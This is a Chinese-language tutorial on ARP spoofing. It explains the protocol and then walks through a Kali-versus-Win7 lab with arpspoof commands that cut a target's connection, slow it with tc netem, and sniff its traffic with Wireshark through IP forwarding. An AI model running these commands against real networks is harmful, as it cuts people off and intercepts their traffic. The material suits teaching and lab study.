【ARP欺骗】
- 什么是ARP
- 什么是ARP欺骗
- ARP欺骗实现
- ARP断网
- 限制网速
- 嗅探流量
什么是ARP
ARP(Address Resolution Protocol,地址解析协议)是一个TCP/IP协议,用于根据IP地址获取物理地址。在计算机网络中,当一个主机需要发送数据包给另一个主机时,它需要知道目标主机的物理地址(例如MAC地址)。ARP协议允许主机在IP地址和物理地址之间进行映射和转换。
ARP协议的工作原理如下:当一个主机需要发送数据包给另一个主机时,它首先会在本地的ARP缓存中查找目标主机的物理地址。如果找不到,主机就会发送一个ARP请求广播到本地网络上的所有主机,请求目标主机的物理地址。收到ARP请求的主机会检查自己的IP地址和请求中的目标IP地址是否匹配。如果匹配,主机就会回复自己的物理地址。收到物理地址后,主机就会将目标主机的IP地址和物理地址存入本地的ARP缓存中,并使用该地址发送数据包。
ARP协议是基于网络中各个主机互相信任的基础上的。在某些情况下,攻击者可以发送伪造的ARP应答报文,使目标主机发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。此外,还有RARP(Reverse ARP)、代理ARP和NDP(Neighbor Discovery Protocol)等协议。
什么是ARP欺骗
ARP欺骗是一种针对局域网地址解析协议(ARP)的攻击技术。这种攻击通过欺骗局域网内的访问者PC,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,从而导致网络不通且让攻击者能够获取局域网上的数据包甚至篡改数据包,让网络上特定计算机或所有计算机无法正常连线。
假设有三个主机A、B、C在一个局域网内,其中B是网关,即连接局域网和互联网的设备。A需要发送数据给C时,需要知道C的MAC地址。但是A只知道C的IP地址,所以A会发送一个ARP请求广播给局域网内的所有主机,请求C的MAC地址。
如果攻击者(假设为X)在局域网内,X就可以截获这个ARP请求,并修改自己的MAC地址为C的MAC地址,然后响应A的请求。这样,A就会将数据发送给X,X再通过修改数据包中的IP地址和MAC地址,将数据发送给C。
ARP欺骗实现
开一台kali作为攻击方,一台win7作为被攻击方。
kali需要安装工具:arpspoof。apt-get install -y dsniff ssldump
。
看一下双方的ip地址。
ARP断网
在kali中,通过fping命令,查看当前局域网还存在那些主机,以确定要攻击的主机的ip地址。
fping -g 192.168.0.1/24 //192.168.0.1是我的网关。
利用arpspoof工具,对物理机发起ARP断网攻击。
输入arpspoof -i eth0 -t 192.168.0.104 192.168.0.1
。其中,-i后面的参数是网卡名称,-t后面的参数是目的主机和网关,要截获目的主机发往网关的数据包。
kali会不断向被攻击机发送应答包,被攻击机的ARP缓存表中,原网关的MAC地址就被篡改为攻击机的MAC地址。kali默认不转发数据,被攻击机达到断网效果。
限制网速
要实现限制网速,kali要先开启路由转发功能。
cat /proc/sys/net/ipv4/ip_forward
回显0表示没开启流量转发↓,显示1表示开启了。
开启kali流量转发:
echo 1 > /proc/sys/net/ipv4/ip_forward
限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms
取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms
开启限制网速延时后,被攻击机出现明显高时延。
嗅探流量
需要让被攻击机通过攻击机进行上网,所以开启kali的流量转发。
echo 1 > /proc/sys/net/ipv4/ip_forward
;开启流量转发。
cat /proc/sys/net/ipv4/ip_forward
;检查是否开启了。
这个时候win7会经过kali上网,kali也就可以抓取win7数据了。
win7在网上浏览内容时,使用wireshark就可以抓到很多流量包。